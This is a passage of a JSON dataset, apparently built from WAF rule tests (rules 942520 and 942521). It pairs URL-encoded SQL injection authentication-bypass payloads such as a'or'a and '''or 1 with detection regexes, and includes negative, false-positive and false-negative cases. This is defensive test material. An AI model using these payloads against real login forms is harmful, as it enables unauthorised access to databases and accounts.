"REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Negative test: Detects basic SQL auth bypass with binary operators" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=x'%20mod%20id--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with mod" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='sounds%20like%20rowid--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detects basic SQL auth bypass with: sounds like" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='%2F**%2F*2--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Bypass with a comment" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=%27%20is%20not%3F--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?(?:(?:is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|glob|(?:betwee|i)n|null|regexp|match)|mod|div|sounds[\\s\\x0b]+like)\\b|[%&\\*\\+\\-/<->\\^\\|]{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942520", "test_description": "Detect auth bypass email=' is not?--" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=a'or'a" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Detects the most basic authentication bypass with 'or'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=a'or?--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Detects basic SQLite authentication bypass with 'or?'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=is%20this%20your%20parents'%20or%20yours?" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "False-positive: Detects or-based authentication bypass" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=user'and%20id%20is%20not?--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Detects basic SQL auth bypass and-based" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=it%20is%20your%20parents'%20and%20yours" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "False-positve: is it your parents' or yours" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=bob's%20or%20alice's" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: bob's or alice's" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=mother%20or%20daughter" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: mother or daugher" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='oreo" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: 'oreo" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='fork" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: 'fork" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='%20for" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: 'for" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=''or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: ''or" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=''or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: 'books' or 'applles'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=''or" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: bob's presentation's 'or'" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var='''or%201" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Bypass with '''or 1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%5C'lol'%20or%20'1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "False-negative: Not detected with escapes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=Incorrectly%20constructed%20SQL%20statements%0AThis%20form%20of%20injection%20relies%20on%20the%20fact%20that%20SQL%20statements%20consist%20of%20both%20data%20used%20by%20the%20SQL%20statement%20and%20commands%20that%20control%20how%20the%20SQL%20statement%20is%20executed.%20For%20example%2C%20in%20the%20SQL%20statement%20select%20*%20from%20person%20where%20name%20%3D%20'susan'%20and%20age%20%3D%202%20the%20string%20'susan'%20is%20data%20and%20the%20fragment%20and%20age%20%3D%202%20is%20an%20example%20of%20a%20command%20(the%20value%202%20is%20also%20data%20in%20this%20example).%0A%0ASQL%20injection%20occurs%20when%20specially%20crafted%20user%20input%20is%20processed%20by%20the%20receiving%20program%20in%20a%20way%20that%20allows%20the%20input%20to%20exit%20a%20data%20context%20and%20enter%20a%20command%20context.%20This%20allows%20the%20attacker%20to%20alter%20the%20structure%20of%20the%20SQL%20statement%20which%20is%20executed.%0A%0AAs%20a%20simple%20example%2C%20imagine%20that%20the%20data%20'susan'%20in%20the%20above%20statement%20was%20provided%20by%20user%20input.%20The%20user%20entered%20the%20string%20'susan'%20(without%20the%20apostrophes)%20in%20a%20web%20form%20text%20entry%20field%2C%20and%20the%20program%20used%20string%20concatenation%20statements%20to%20form%20the%20above%20SQL%20statement%20from%20the%20three%20fragments%20select%20*%20from%20person%20where%20name%3D'%2C%20the%20user%20input%20of%20'susan'%2C%20and%20'%20and%20age%20%3D%202.%0A%0ANow%20imagine%20that%20instead%20of%20entering%20'susan'%20the%20attacker%20entered%20'%20or%201%3D1%3B%20--.%0A%0AThe%20program%20will%20use%20the%20same%20string%20concatenation%20approach%20with%20the%203%20fragments%20of%20select%20*%20from%20person%20where%20name%3D'%2C%20the%20user%20input%20of%20'%20or%201%3D1%3B%20--%2C%20and%20'%20and%20age%20%3D%202%20and%20construct%20the%20statement%20select%20*%20from%20person%20where%20name%3D''%20or%201%3D1%3B%20--%20and%20age%20%3D%202.%20Many%20databases%20will%20ignore%20the%20text%20after%20the%20'--'%20string%20as%20this%20denotes%20a%20comment.%20The%20structure%20of%20the%20SQL%20command%20is%20now%20select%20*%20from%20person%20where%20name%3D''%20or%201%3D1%3B%20and%20this%20will%20select%20all%20person%20rows%20rather%20than%20just%20those%20named%20'susan'%20whose%20age%20is%202.%20The%20attacker%20has%20managed%20to%20craft%20a%20data%20string%20which%20exits%20the%20data%20context%20and%20entered%20a%20command%20context.%0A%0AA%20more%20complex%20example%20is%20now%20presented.%0A%0AImagine%20a%20program%20creates%20a%20SQL%20statement%20using%20the%20following%20string%20assignment%20command%20%3A%0A%0Avar%20statement%20%3D%20%22SELECT%20*%20FROM%20users%20WHERE%20name%20%3D%20'%22%20%2B%20userName%20%2B%20%22'%22%3B%0A%0AThis%20SQL%20code%20is%20designed%20to%20pull%20up%20the%20records%20of%20the%20specified%20username%20from%20its%20table%20of%20users.%20However%2C%20if%20the%20%22userName%22%20variable%20is%20crafted%20in%20a%20specific%20way%20by%20a%20malicious%20user%2C%20the%20SQL%20statement%20may%20do%20more%20than%20the%20code%20author%20intended.%20For%20example%2C%20setting%20the%20%22userName%22%20variable%20as%3A%0A%0A'%20OR%20'1'%3D'1%0Aor%20using%20comments%20to%20even%20block%20the%20rest%20of%20the%20query%20(there%20are%20three%20types%20of%20SQL%20comments%5B14%5D).%20All%20three%20lines%20have%20a%20space%20at%20the%20end%3A%0A%0A'%20OR%20'1'%3D'1'%20--%0A'%20OR%20'1'%3D'1'%20%7B%0A'%20OR%20'1'%3D'1'%20%2F*%20" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(?:[^']*?(?:'[^']*?'[^']*?)*?'|[^\\\"]*?(?:\\\"[^\\\"]*?\\\"[^\\\"]*?)*?\\\"|[^`]*?(?:`[^`]*?`[^`]*?)*?`)[\\s\\x0b]*([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942521", "test_description": "Negative test: Wikipedia article about SQLi" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=%21%21%21%21%21%27...%22%21%21%27.%22.%60...%27.....%27%40%60%21%21%21%21%21%60....%22%40%40%40%40%40%60%21%21%21%21%21%27%40%60%40%40%40%40%40%27...%22%27%40%40%40%40%40%27%22...%27%21%21%21%60%21%21%60%40%40%22%27%40%40%60..%27%21%21%27%40%40%40%40%22%40%40%40%40%40%60%21%21%21%21%27%21%22%40%40%40%40%40%27%21%21%21%60%21%21%21%21%22%21%21%21%22%21%21%21%21%21%27....%27%27%40%27%22.%60%40%40%40%40%60%27%21%21%22%40%60%40%40%40%40%27%21%27%21%27.....%27%21%21%21%60%40%40%40%60.%27%21%21%60%21%27%21%21%21%60%21%21%21%21%21%60%22%40%60%40%40%40%60%21%21%21%27%40%60%40%40%40%40%22...%22%21%21%21%21%21%27%40%40%40%27%21%27.....%27%21%21%21%27....%60%40%40%40%60%40%22...%60...%27%40%40%40%40%40%60...%22%40%40%40%40%22..%22%40%40%40%60%60%21%22%40%40%40%22%40%40%40%22%40%40%40%22..%22%27....%60%21%21%27%40%22...%27%40%40%40%40%22%40%40%40%22%21%21%21%21%21%27...%60...%22%21%21%21%21%60%40%40%40%27%21%27%40%40%40%40%40%22%40%40%40%60.....%22....%22%27....%22%22%21%21%21%21%22%40%40%27%21%21%21%21%21%22....%27%21%21%21%21%21%22%21%21%21%60%40%40%40%40%22%40%22%40%40%40%27%40%40%40%40%40%22%21%21%21%21%21%22%60%21%21%21%21%22%40%40%40%40%27%60%60%60..%22...%22%21%21%21%27%21%60%22%40%40%40%60%21%21%21%60%22%40%40%40%40%27%27%60%40%40%40%40%22.....%27%27..%22%40%40%40%22%21%21%21%21%60%40%40%40%40%40%27%21%21%21%21%22.%60%40%40%40%40%40%60%60%21%21%60%21%21%21%21%22%21%21%22.%60%27%40%40%27%40%40%40%60%21%21%21%21%21%22%21%21%21%21%21%27%40%40%40%40%27%21%21%21%21%21%60%40%40%40%40%40%22.....%60%60.%22%40%40%22.%27%21%21%21%21%21%27%21%21%27%40%40%40%22%60.....%60%40%40%27%22%40%40%40%40%60%27%22%40%40%40%40%60%21%21%21%21%27%22%21%21%21%21%60%21%60%40%40%40%40%22%40%40%40%40%22%21%21%22%21%21%21%21%21%27%40%40%22...%60%22%27.%60%22%40%22%40%40%40%40%40%22%21%21%22%21%21%21%21%22%40%40%40%60%40%40%27%21%21%22.....%60%21%21%21%60%40%40%22%40%60%40%40%40%60%27....%27%40%40%40%22%60%40%40%40%40%40%60%60%21%21%22%40%22..%27%21%21%21%21%21%60%40%40%40%40%27....%22.....%27%60%21%21%21%27%21%22%40%60%60%27%60%27%40%27%40%40%40%40%27%21%21%27%40%40%60%21%22%60%21%21%21%27..%22%27%40%40%40%60%60.....%27.....%27%40%40%22%22%27.....%22.%60%21%60%40%40%60%21%60%40%40%40%40%27%40%40%40%27%22..%60%21%60%40%40%40%60%60%40%40%40%40%22%21%21%21%21%21%22.%60%21%21%27%60%40%40%40%40%60%40%40%40%40%40%27%22.%22...%27...%27.....%27%40%40%40%40%40%60.%27%40%40%40%27%21%21%21%21%21%22%40%22%40%60%27%21%21%21%27%40%27%40%40%40%40%60%40%40%40%40%60%27%40%40%40%40%40%60%21%21%21%60%40%40%22...%60..%27.....%27.%27%27%21%60.%22%22%21%21%21%27.....%22%40%40%40%22%40%40%40%40%40%60...%27.%60%22..%27%21%60%21%21%21%21%60..%60....%22%27%40%40%40%40%22..%27.%27....%27%40%40%60...%22%21%22%22%21%60%21%21%21%21%21%27%21%21%27%22%27....%27%22%21%21%21%27%40%40%40%27.....%22...%60..%60%40%40%40%40%40%60%22%40%40%60.%27%21%27%21%21%21%21%21%27....%60%21%21%21%27%21%27%40%60%60...%22%21%21%21%21%60%27%40%22%22%40%22...%60%40%40%27..%22%21%21%21%21%60..%27%40%40%27%40%40%27..%22%40%40%40%40%60....%60%40%40%40%60%40%40%40%40%60%22%21%21%21%60%21%60%40%40%40%22..%27%40%40%40%60%40%40%60%60%22%40%40%40%40%22%21%21%60%40%40%22%40%60%21%21%60%27.....%27%40%40%40%40%40%22.%60%21%21%21%21%60%21%21%60.....%22%21%21%27%27%21%22%40%40%40%27%27%22%40%40%40%40%60....%60%22.%27%21%21%21%27%40%40%40%40%60...%27..%60%21%21%60...%60%21%60%40%40%27.....%27%40%40%27%27%40%40%27..%27.%27%40%22%27%21%22%40%40%22%21%21%21%27%60.....%60.....%22.%60%40%60%40%40%40%60..%22.....%60%40%40%40%40%22%27%21%21%21%21%21%60%40%40%40%40%22%40%40%40%40%40%27....%60.%27....%27%21%21%21%60%21%21%21%21%21%60..%27.%27%40%40%22%60%40%40%40%60.....%27...%27%21%21%21%21%60..%60....%60%40%40%40%27%21%21%21%27%60%21%21%21%21%27...%60%40%40%40%60....%60%27%40%40%40%40%27%40%40%60..%27%40%40%27..%27%22%21%22%40%40%40%27...%22%21%21%21%21%21%60%40%40%40%40%40%22%40%40%40%40%22%60%21%27..%60%21%21%21%27%40%40%40%22%21%21%21%21%27%40%40%40%40%22%40%60%22.....%22.....%27%40%40%40%40%40%27%21%21%21%21%27%40%27%40%40%40%40%40%27%60%27%22%21%22%21%21%21%21%60%40%40%40%40%40%27..%22.%60%40%40%40%40%40%22.%60%60%21%21%21%21%21%60%21%21%21%22...%60%40%22%21%21%21%21%22%21%21%60%40%40%40%40%60%21%21%21%21%22%40%27%21%21%21%60%27%40%40%40%40%22.....%60....%22...%60%21%21%21%21%60%21%21%21%21%21%27%40%40%60%40%40%40%40%27%40%60%21%22.....%22%21%21%21%27%40%40%40%40%27....%22%40%40%40%40%40%60%40%27.....%22%21%21%21%60%40%40%60%21%21%21%21%21%22%60%40%40%40%40%27%21%21%21%22...%60%40%60...%27...%60%21%21%21%22%21%21%21%21%27%21%27%21%21%60.%60%21%21%60..%22..%60.....%22..%22....%27%21%21%21%21%27%60%40%40%40%40%40%22%21%21%21%21%22%40%40%40%40%40%27%40%40%40%40%40%60.%60....%60%60%40%40%40%40%22%27%40%27%40%60%21%21%21%21%21%27...%27%40%40%40%40%40%27.%27.....%60%21%21%60%21%21%21%21%21%22%22%40%40%40%27%40%60%21%21%21%22%21%21%21%21%21%27..%22....%27%21%21%21%21%21%27...%60.....%60%40%22%21%21%21%21%27%27%21%21%21%21%21%22%60%27%21%21%21%27..%60%40%60%21%21%21%21%21%27%60%27%21%21%27%21%21%21%60%21%2